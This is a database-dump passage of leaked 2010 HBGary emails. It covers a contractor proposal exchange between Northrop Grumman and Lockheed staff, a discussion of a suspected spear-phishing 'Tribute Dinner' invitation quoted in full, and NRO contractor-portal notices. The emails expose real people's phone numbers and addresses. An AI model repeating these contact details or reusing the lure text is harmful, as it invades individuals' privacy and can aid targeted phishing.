\r\n\r\n&lt;&lt;Green\r\nEggs #13.docx&gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15074,'aaron_hbgary_com/15074.html'),(11817,'2010-09-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008859.M31841P14101Q6671.eml','\"Ted Vera\" <ted@hbgary.com>','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret 	invited you to Tribute Dinner','No I think spear phishing against me.Sent from my iPhoneOn Sep 15, 2010, at 11:13 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nWhy scary? Is this from your FB profile?On Sep 15, 2010, at 9:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.Now this is getting pretty scary.  I almost opened it.\r\n\r\nAaronBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n  \r\n  	\r\n  		\r\n  		  \r\n  			\r\n  				\r\n\r\n  				  \r\n  				    \r\n  				    \r\n    				    \r\n                	\r\n                	  LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n                	\r\n                \r\n              \r\n              \r\n              \r\n              \r\n              \r\n  				    \r\n  				    \r\n  				    \r\n  \r\n  	\r\n  	  \r\n\r\n\r\n  	\r\n  \r\n\r\n\r\n\r\n   \r\n  \r\n  	\r\n  	  \r\n      \r\n        \r\n          \r\n            \r\n\r\n\r\nINVITATION:\r\n     Tribute Dinner\r\n\r\n\r\nHOST:\r\n     LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    DATE:\r\n    December 05, 2010\r\n\r\n\r\n  \r\n    \r\n    \r\n    \r\n\r\n    TIME:\r\n    06:00pm - 09:30pm EST\r\n\r\n\r\n  \r\n\r\n\r\n \r\n    \r\n\r\n\r\n\r\n\r\n  LOCATION:\r\n     McLean Hilton Hotel\r\n\r\n\r\n\r\n\r\n\r\n  ADDRESS:\r\n     7920 Jones Branch Dr McLean, VA 22102, USA\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    link to map\r\n\r\n\r\n\r\n\r\n\r\n          \r\n        \r\n      \r\n      \r\n  	\r\n  \r\n\r\n\r\n\r\n\r\n\r\n	 \r\n\r\n\r\n	\r\n	  \r\n	    \r\n	      \r\n	        \r\n            CLICK TO VIEW INVITATION\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n\r\n  				    \r\n  				    \r\n              \r\n	 \r\n\r\n\r\n	\r\n\r\n\r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                     \r\n                    Add mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox.\r\n                \r\n              \r\n  				    \r\n                 \r\n              \r\n              \r\n                \r\n                  \r\n                    Please do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. \r\n                    Don&#39;t want to receive these messages? Unsubscribe.\r\n                  \r\n                \r\n              \r\n            \r\n\r\n    			\r\n    		\r\n        \r\n    	\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n',8464,'aaron_hbgary_com/8464.html'),(11818,'2010-09-16','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297008859.M428766P14101Q6673.eml','aaron@hbgary.com','Re: EXTERNAL:Re: Green Eggs #13.docx','\r\nWell, let\'s see what happens.  Doug is a good friend and LM really likes us.&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thursday, September 16, 2010 06:53 AMTo: Masterson, Brian M (XETRON)Subject: EXTERNAL:Re: Green Eggs #13.docx&nbsp;\r\nI am sorry I didn&#39;t get this to you faster.AaronSent from my iPhoneOn Sep 16, 2010, at 5:50 AM, &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nThis is what I got back after submitting.\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Britton, Douglas C\r\n[mailto:douglas.c.britton@lmco.com] \r\nSent: Thursday, September 16, 2010 1:26 AM\r\nTo: Masterson, Brian M (XETRON)\r\nSubject: RE: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nBrian, \r\n\r\nStrictly, I shouldn’t take this.  And I’m not just saying\r\nit to be an arbitrary and power-wielding ass.  We’d actually already done\r\nthe evals.  I’ll scrub it first thing and see if I can justify getting it\r\nin.\r\n\r\n \r\n\r\nThanks Brian…you coming to DC anytime soon?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian M\r\n(XETRON) [mailto:Brian.Masterson@ngc.com] \r\nSent: Thursday, September 16, 2010 12:37 AM\r\nTo: Britton, Douglas C\r\nSubject: Green Eggs #13.docx\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nDoug,\r\n\r\nSorry for the lateness in\r\nthe submittal.\r\n\r\nBrian\r\n\r\n \r\n\r\n&lt;&lt;Green\r\nEggs #13.docx&gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14716,'aaron_hbgary_com/14716.html'),(11819,'2010-09-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008859.M627165P14101Q6674.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner','I decided to click the link on my iPad - it just froze up the browser - maybe it was still an active exploit?\r\n \r\n-Greg\r\nOn Thu, Sep 16, 2010 at 4:28 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think so.\r\nI don&#39;t know either of these guys.\r\nThere are some misspellings.\r\nNo definition of what the tribute is for.\r\nInvitation was taken down 30 min after I got it.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 16, 2010, at 6:34 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\n\r\n\r\nI didn&#39;t dig into the URLs but are you saying it was a spearphish?\r\nOn Wed, Sep 15, 2010 at 11:12 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCheck this shit out.  I just got this and not 30min. later the invitation was rescinded.\r\n\r\nNow this is getting pretty scary.  I almost opened it.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret&quot; &lt;mailer@delivery.cocodot.com&gt;\r\n\r\nDate: September 15, 2010 10:03:56 PM EDT\r\n\r\nTo: aaron@hbgary.com\r\n\r\nSubject: LTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret invited you to Tribute Dinner \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nINVITATION:\r\nTribute Dinner\r\n\r\nHOST:\r\nLTG Pat Hughes, USA-Ret. and LTG E. Harry Soyster, USA-Ret\r\n\r\n\r\nDATE:\r\nDecember 05, 2010\r\n\r\nTIME:\r\n06:00pm - 09:30pm EST\r\n\r\n \r\n\r\n\r\nLOCATION:\r\nMcLean Hilton Hotel\r\n\r\nADDRESS:\r\n7920 Jones Branch DrMcLean, VA 22102, USA\r\n\r\n \r\nlink to map\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCLICK TO VIEW INVITATION \r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\nAdd mailer@delivery.cocodot.com to your address book to ensure that you receive cocodot emails in your inbox. \r\n\r\n\r\n \r\n\r\nPlease do not reply to this message; it was sent from an unmonitored email address. This message was intended for aaron@hbgary.com. Don&#39;t want to receive these messages? Unsubscribe. \r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',13231,'aaron_hbgary_com/13231.html'),(11820,'2010-09-16','arc@westfields.net','/aaron@hbgary.com/new/1297008859.M859260P14101Q6675.eml','federal@hbgary.com','COMM Competitive Business Opportunity Posting','\r\nThe NRO/COMM Directorate is pleased to announce the release of a Competitive Business Opportunity on the classified ARC.  It will remain visible for ten calendar days. The Contract Type is expected to be: FFP/LOE. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Competitive Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16084,'aaron_hbgary_com/16084.html'),(11821,'2010-09-16','arc@westfields.net','/aaron@hbgary.com/new/1297008860.M260905P14101Q6677.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 09/15/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNRO/IMINT-OPERA Industry Day and Tech Seminar (Announcement)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-RDAS (Announcement & Document Posting)\r\n\r\nNRO/MOD-Silver Eagle (Document Posting)\r\n\r\nNRO-CAPRICA (Announcement)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',16088,'aaron_hbgary_com/16088.html'),(11822,'2010-09-16','\"KippsDeSanto & Co.\" <kippsdesanto@kippsdesanto.com>','/aaron@hbgary.com/new/1297008860.M494096P14101Q6678.eml','aaron@hbgary.com','Federal Compass - The Season of Change','\r\nFederal Compass - The Season of ChangeHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n\r\n \r\n  \r\n    \r\n      \r\n		  \r\n        \r\n    \r\n    \r\n      \r\n	  \r\n          \r\n            \r\n			    \r\n\r\n\r\n\r\nFederal Compass\r\nVital Information For The Federal Market\r\n                Issue&nbsp;9 -&nbsp;The Season of ChangeSeptember&nbsp;2010&nbsp;\r\n              \r\n          \r\n		  \r\n		  \r\n          \r\n            \r\n			\r\n                \r\n                  \r\n					  \r\n                      \r\n                      \r\n                      \r\n\r\n\r\nThe Perfect Storm - Discussion of Changes to DCAA Guidance Related to Internal Control Audits\r\nCara Perrone, Michael LaCorte&nbsp;and Sajeev Malaveetil&nbsp;-&nbsp;Argy, Wiltse & Robinson, P.C.Over the past year and a half, the Defense Contract Audit Agency (\"DCAA\") has issued several guidance memoranda to its staff pertaining to business systems audits. Business systems include accounting systems, purchasing, estimating, billing and six other major areas.&nbsp; This guidance has resulted in a change in scope of DCAA audits, a change in direction related to internal control audits and an increased significance of limited scope audits. Collectively, the various guidance memos have resulted in a number of potential implications to Federal Government Contractors. Concurrent to the DCAA\'s guidance memos, changes have been proposed to the Defense Federal Acquisition Regulation Supplement (\"DFARS\") that could potentially overhaul the business systems controls landscape. Contractors should be aware of the current audit environment related to business systems. This article summarizes these&nbsp;recent DCAA guidance memos related to business systems and the ramifications of the new audit guidance on Federal Government Contractors.&nbsp;&nbsp;&nbsp;Full Article\r\n                          \r\n                            \r\n                          \r\n                        Summer of Opportunity - M&A Activity Heating Up Following Cooler Market Temperatures\r\nMarc Marlin - Kipps DeSanto\r\nThe weather is warm, the sun is shining, the beverages are cold.&nbsp; Life is good.&nbsp; Suddenly, the sky darkens as clouds roll in.&nbsp; The wind picks up speed and the seemingly therapeutic cadence of the ocean waves begin to crash with a newfound anger.&nbsp; In a blink, raindrops attack the sand, sending vacationers scattering.&nbsp; Amidst the drama, watches the seasoned surfer.&nbsp; Confident this storm too shall pass, he calmly waxes his board, eyeing the waves, and eagerly waiting for what\'s next.\r\n&nbsp;The government and defense contracting environment circa 2008 - 2009 has similarities to that unexpected rain shower we\'ve all likely experienced.&nbsp; Few see it coming, others don\'t want to believe, and select folks always seem prepared to adapt their plans and embrace it.&nbsp; A myriad of market changes and new challenges have emerged over the past few years, including but not exclusive to the Obama Administration\'s anti-contractor sentiment, complex economic and budgetary pressures, capital markets conservatism, and paused M&A markets in the wake of broader domestic and international economic instability.&nbsp; However, the ripples are settling and a new dawn of opportunities has arisen, shaping the next chapter for the government and defense contracting community.&nbsp; These characteristics embody focus, M&A as a preferred tool to reposition and flourish, transparency, and renewed access to capital.\r\n\r\n&nbsp;\r\nFull Article\r\n\r\n\r\n                      Growing Emphasis on Information Technology in Mergers and Acquisitions\r\nJocelyn Brittin&nbsp;- Holland & Knight LLP&nbsp;Information technology systems - the computer software, hardware, networks and databases to that collect, store, process, transmit, and retrieve information - have become the lifeblood of most businesses today. Legal risks associated with the information technology (IT) systems of businesses have become significant, and are likely to continue to grow. The heavy reliance on IT systems in the business world, coupled with the expanding amounts of regulation and standards addressing IT issues, have turned IT diligence and representations and warranties relating to information technology into important considerations in M&A transactions. What started with regulatory efforts in discrete business sectors, has expanded to touch in some way or another virtually all business sectors - with no indication of slowing its reach.&nbsp; \r\n&nbsp;\r\nFull Article\r\n                      \r\n					  \r\n\r\nProposed Business Systems Rule Changes\r\nBen Ostrander and Michael LaCorte&nbsp;- Argy, Wiltse & Robinson, P.C.On January 15, 2010, the Department of Defense (\"DOD\") Defense Acquisition Regulations (DAR) Council submitted proposed rule changes to the Defense Federal Acquisition Regulation Supplement (DFARS) entitled Business Systems - Definition and Administration (DFARS Case 2009-D038), proposing changes to what is currently defined as Contractor Business Systems. In the proposed rule, the DOD states that the changes were proposed in an effort \"to improve the effectiveness of DOD oversight of Contractor Business Systems.\" If accepted, the proposed changes would drastically alter the landscape of Contractor Business System environments. The 